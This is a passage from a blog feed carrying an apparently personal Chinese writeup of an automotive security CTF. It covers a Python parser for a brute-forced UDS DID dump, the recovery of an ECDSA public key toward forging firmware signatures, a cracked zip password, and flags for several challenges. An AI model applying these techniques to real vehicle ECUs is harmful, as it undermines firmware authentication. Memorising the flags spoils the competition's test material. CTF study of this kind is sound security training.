]]></content:encoded><h:img src="https://h4cker.zip/56107e/car_hack_handbook_cover.webp"/><enclosure url="https://h4cker.zip/56107e/car_hack_handbook_cover.webp"/><atom:updated>2025-10-08T22:56:30+08:00</atom:updated><category>CAN</category><category>ICSim</category><category>硬件安全</category><category>读书笔记</category></item><item><title>Vehicle Cybersecurity Competition CTF 2025 Writeup</title><link>https://h4cker.zip/1f51f4/</link><pubDate>Fri, 22 Aug 2025 17:22:23 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/1f51f4/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这个比赛名字怎么不统一？之前叫Automotive，是和Vicone合办的，现在叫Vehicle 之类，全称：Global Vehicle Cybersecurity Competition (VCC) 2025</p>
<p>这个赛事是8月22-25和8月29日-9月1日</p>
<p>2024的还没学完，做这个属实不太好，目前 ICV技能树一个都没点完。</p>
<p>今年分了红蓝队两种类型，做了那个签到才能解锁后续题目，这几天是边学边做，但几个地方仍然没有头绪</p>
<p>这里主要参考的yichen大佬，具体知识点我再研究研究</p>
<p>后记：靶场关了，少部分题目迁移到了靶场，也无法复现了，贴一下各家wp：</p>
<blockquote>
<p>yichen的wp：<a
  href="https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ" rel="nofollow noopener noreferrer" target="_blank"
  >https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ<span style="user-select:none"> ↗</span></a
>
；</p>
<p>第一的wp，他做出了全部题目，不过wp貌似没有全放上来：<a
  href="https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/" rel="nofollow noopener noreferrer" target="_blank"
  >https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/<span style="user-select:none"> ↗</span></a
>
，</p>
<p>某选手的password_change_policy wp：<a
  href="https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/" rel="nofollow noopener noreferrer" target="_blank"
  >https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/<span style="user-select:none"> ↗</span></a
>
</p>
<p>某选手韩语wp：<a
  href="https://taesam.tistory.com/51" rel="nofollow noopener noreferrer" target="_blank"
  >https://taesam.tistory.com/51<span style="user-select:none"> ↗</span></a
>
</p>
</blockquote>
<h2 id="competition-rules签到">Competition Rules（签到）<a class="anchor" href="#competition-rules签到">#</a></h2>
<blockquote>
<p>To begin this competition and unlock the challenges you must thoroughly read through the <a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >rules<span style="user-select:none"> ↗</span></a
>
 to find this flag.</p>
<p>By submitting this flag you acknowledge agreement to the rules of this competition.</p>
<p>要开始本次比赛并解锁挑战，您必须仔细阅读规则以找到此标志。</p>
<p>提交此标志即表示您已同意本比赛的规则。</p>
</blockquote>
<p>flag在<a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >规则<span style="user-select:none"> ↗</span></a
>
的9.2 Sharing Knowledge</p>
<p>While collaboration between players during the competition is prohibited, sharing knowledge and experiences after the event is encouraged. The only exception is the solution to the first challenge: &ldquo;<strong>i-accept-the-rules</strong>&rdquo; which should not be shared at any time.</p>
<h2 id="blue-team-challenges">Blue Team Challenges<a class="anchor" href="#blue-team-challenges">#</a></h2>
<h3 id="tara-challenge">TARA Challenge<a class="anchor" href="#tara-challenge">#</a></h3>
<p>这个是白送的，给了一个表格，我还以为要做威胁分析打分，谁知道提交就行，测验到了一定分数就给flag，测验全问AI的</p>
<p><strong>BHVicOne:rXaARH0%dL</strong></p>
<h2 id="red-team-challenges">Red Team Challenges<a class="anchor" href="#red-team-challenges">#</a></h2>
<h3 id="autograph-ramn">AutoGraph [RAMN]<a class="anchor" href="#autograph-ramn">#</a></h3>
<blockquote>
<p>Participants are provided with signed firmware files and a diagnostic log file from a &ldquo;caringcaribou&rdquo; UDS RDBI dump, related to a secret over-the-air (OTA) firmware portal in development for RAMN&rsquo;s ECU B and C.</p>
<p>This challenge invites you to delve into intricate vehicle communication data and sophisticated security mechanisms. Can you leverage this information to unlock the ability to sign your own firmware files? Success in this endeavor promises to enable you in learning more about firmware authentication.</p>
<p><strong>Prompt:</strong> I downloaded a firmware update for RAMN’s ECU B and C from a secret OTA portal in development. Can you help me sign my own firmware files? I have attached a caringcaribou UDS RDBI dump log file, if that is any help. (Note: flag is secret key in decimal format – not hexadecimal. It is NOT the password for the .zip file).</p>
<p>参赛者将获得已签名的固件文件以及来自“caringcaribou” UDS RDBI 转储的诊断日志文件，这些文件与 RAMN 的 ECU B 和 C 正在开发中的秘密空中固件（OTA）门户相关。</p>
<p>本挑战要求你深入研究复杂的车辆通信数据和先进的安全机制。你能否利用这些信息解锁签名自有固件文件的能力？成功完成此任务将使你进一步了解固件认证。</p>
<p>提示：我从一个正在开发的秘密 OTA 门户下载了 RAMN 的 ECU B 和 C 的固件更新。你能帮我签名自己的固件文件吗？我已附上一个 caringcaribou UDS RDBI 转储日志文件，或许能有所帮助。（注意：flag 为十进制格式的密钥——不是十六进制。它不是.zip 文件的密码。）</p>
</blockquote>
<p>附件是challenge4_RDID_dump.log和challenge_signed_firmware_files.zip</p>
<p>我最初没看出来日志是什么，yichen的wp说是 <a
  href="https://github.com/CaringCaribou/caringcaribou" rel="nofollow noopener noreferrer" target="_blank"
  >caringcaribou<span style="user-select:none"> ↗</span></a
>
 暴破DID，然后去看了这个工具，以及问了AI，不得不说，再入门一个新行业的时候，各种原理、概念不懂，通过AI学习真的是事半功倍。</p>
<p>为什么是DID暴破流量？</p>
<ol>
<li>看请求ID：<strong><code>7E3</code></strong> 是诊断请求（Tester → ECU），<strong><code>7EB</code></strong> 是 ECU 回复（ECU → Tester）。这正是典型的 <strong>诊断会话 ID 对</strong>。统计结果也印证了：<code>7E3</code> 里有 <strong>8033 条 SF(len&gt;0)</strong>（请求），<code>7EB</code> 里有 <strong>8028 条 SF(len&gt;0)</strong> + 一些 FF/CF（应答）。
这就是完整的请求-应答对。</li>
<li>看请求数据域格式（除掉 PCI）：<code>0x22 DID_H DID_L ...</code> = <strong>ReadDataByIdentifier</strong>。在日志里，7E3 的有效载荷几乎都是 <code>22 xx xx</code>，只是 DID 每次都在变。这就是“逐个尝试不同 DID”的特征。</li>
<li>看 ECU 的回应，<strong>大多数 7EB 应答是</strong> <code>7F 22 31</code> → 否定应答（服务 0x22，NRC=0x31：Request Out Of Range）。说明这个 DID 不支持。少数会返回 <strong>0x62 DID_H DID_L &hellip;</strong> → 肯定应答，带数据。这种模式正好符合“暴破 DID”：测试仪在循环遍历 DID，ECU不支持的都返回 0x31，支持的才回 0x62。</li>
</ol>
<p>在VSEC 2024那篇文章说过DID是存储一些信息的段，通过SID=22的协议去读，所以这里暴破DID就是在遍历所有数据。这里要判断PCI，PCI就是数据域的第一个字节，下面PCI高代表PCI的高四位。</p>
<ul>
<li>单帧：PCI高=0，第一个字节的低四位是数据长度，第二个字节是SID+0x40（0x7F代表否定），第三、四个字节是DID。后面长度对应的字节就是数据</li>
<li>首帧：PCI高=1，第一个字节的低四位和第二个字节共同组成总长度，第三个字节是SID+0x40，第四、五个字节是请求帧的DID。后面是数据</li>
<li>连续帧：PCI高=2，第一个字节的低四位是表示第几个帧，后面都是数据</li>
</ul>
<p>这里要提取数据，不仅要通过PCI截取不同长度的数据，还要判断长度是否合规，比如有效单帧的帧长度是大于等于3的，第二字节是0x62。如果数据长度是0也要排除掉。</p>
<p>根据前面的分析，其实能确定CAN ID是7EB的是回复了，不过脚本不需要用到CAN ID，因为是通过长度和PCI判断的。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">file</span><span class="o">=</span><span class="s2">&#34;challenge4_RDID_dump.log&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 解析每行的CAN ID和数据域</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">m</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="k">match</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;.*can0\s+(\w+)#([0-9A-Fa-f]+)&#34;</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">return</span> <span class="kc">None</span><span class="p">,</span> <span class="kc">None</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">can_id</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="n">can_id</span><span class="p">,</span> <span class="n">data</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># 把每个DID的数据都以DID为键名存到字典里</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">def</span> <span class="nf">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1"># 初始化存放结果和连续帧的字典</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">result</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">multi_frame</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="c1"># 提取每行的CAN ID，数据域</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="n">can_id</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="k">if</span> <span class="n">data</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="c1"># 提取第一个字节的高4位为PCI</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="n">pci</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="k">if</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="c1"># 提取应用数据长度</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="n">length</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x0F</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="c1"># 这里验证的是ISO-TP层长度，如果实际总长小于写的长度，说明CAN帧残缺</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">&lt;</span><span class="mi">1</span><span class="o">+</span><span class="n">length</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                    <span class="k">continue</span> 
</span></span><span class="line"><span class="ln">34</span><span class="cl">                <span class="c1"># 把ISO-TP层的载荷提取出来，UDS报文就是这个载荷</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="c1"># 有效UDS回复帧，必定包含SID、DID，至少三个字节,少于3个字节，说明ISO-TP层写的长度短了，此帧有误，不管它</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">                <span class="c1"># 要求必须是0x22的肯定响应</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                    <span class="n">did</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                    <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">            
</span></span><span class="line"><span class="ln">42</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="c1"># 首帧至少要有 PCI + 长度 + 0x62 + DID，5个字节</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">                <span class="c1"># 而且首帧肯定带满数据，长度一定是8，如果总长小于8，说明此帧残缺</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>  
</span></span><span class="line"><span class="ln">46</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">                <span class="c1">#传输的数据总长度</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="n">total_len</span><span class="o">=</span><span class="p">((</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0x0F</span><span class="p">)</span><span class="o">&lt;&lt;</span><span class="mi">8</span><span class="p">)</span><span class="o">|</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> 
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="c1"># 首帧的UDS响应</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                    <span class="n">did</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">                    <span class="n">multi_frame</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">                        <span class="s2">&#34;total_len&#34;</span><span class="p">:</span><span class="n">total_len</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">                        <span class="s2">&#34;data&#34;</span><span class="p">:</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">                <span class="c1">#连续帧必须有PCI和1个数据，所以最少2个字节</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">62</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">                <span class="k">for</span> <span class="n">did</span><span class="p">,</span> <span class="n">mf</span> <span class="ow">in</span> <span class="n">multi_frame</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">                    <span class="c1"># 减3是因为首帧提取的总长度包括了SID，DID的三个字节</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">                    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">67</span><span class="cl">                        <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span> <span class="o">+=</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">                        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&gt;=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">                            <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span> <span class="o">=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">
</span></span><span class="line"><span class="ln">71</span><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="k">for</span> <span class="n">did</span><span class="p">,</span><span class="n">value</span> <span class="ow">in</span> <span class="n">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">)</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">        <span class="n">text</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;ascii&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">text</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">value</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>我写得比AI好一点，AI居然还求通过连续帧的第一个字节低4位，求连续帧数据长度</p>
<p>运行脚本</p>
<p>可以看到有一个公钥：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">-----BEGIN PUBLIC KEY-----
</span></span><span class="line"><span class="ln">2</span><span class="cl">MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEzWvXZ0MMevWSHMMCzdJKOq2uXr1kg45NS1z0w8ZWc0Lr
</span></span><span class="line"><span class="ln">3</span><span class="cl">n2qYn0QsXdR3aTXK9kDmPx2fH3wxt9OkhrwHnl+Hsg==
</span></span><span class="line"><span class="ln">4</span><span class="cl">-----END PUBLIC KEY-----</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">pgp</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>还有一个<code>SECP256k1</code></p>
<p>zip密码可以暴破出来：password12345678</p>
<p>里面有俩hex文件，俩hex.sig文件，hex文件问了AI才知道是ARM架构的芯片固件，不过这里没什么用处</p>
<p>Qwen-Coder很强：https://chat.qwen.ai/s/b575892d-d560-46e4-a329-df2c27734fae?fev=0.0.191</p>
<p>两个sig文件前面一样，我windows装了xxd，所以能直接看到</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">➜  xxd -p .<span class="se">\E</span>CUB.hex.sig
</span></span><span class="line"><span class="ln">2</span><span class="cl">cb8f2f4901e5dc0610a562309a0ba238289edd5a6a819a115ca3b2ac802e
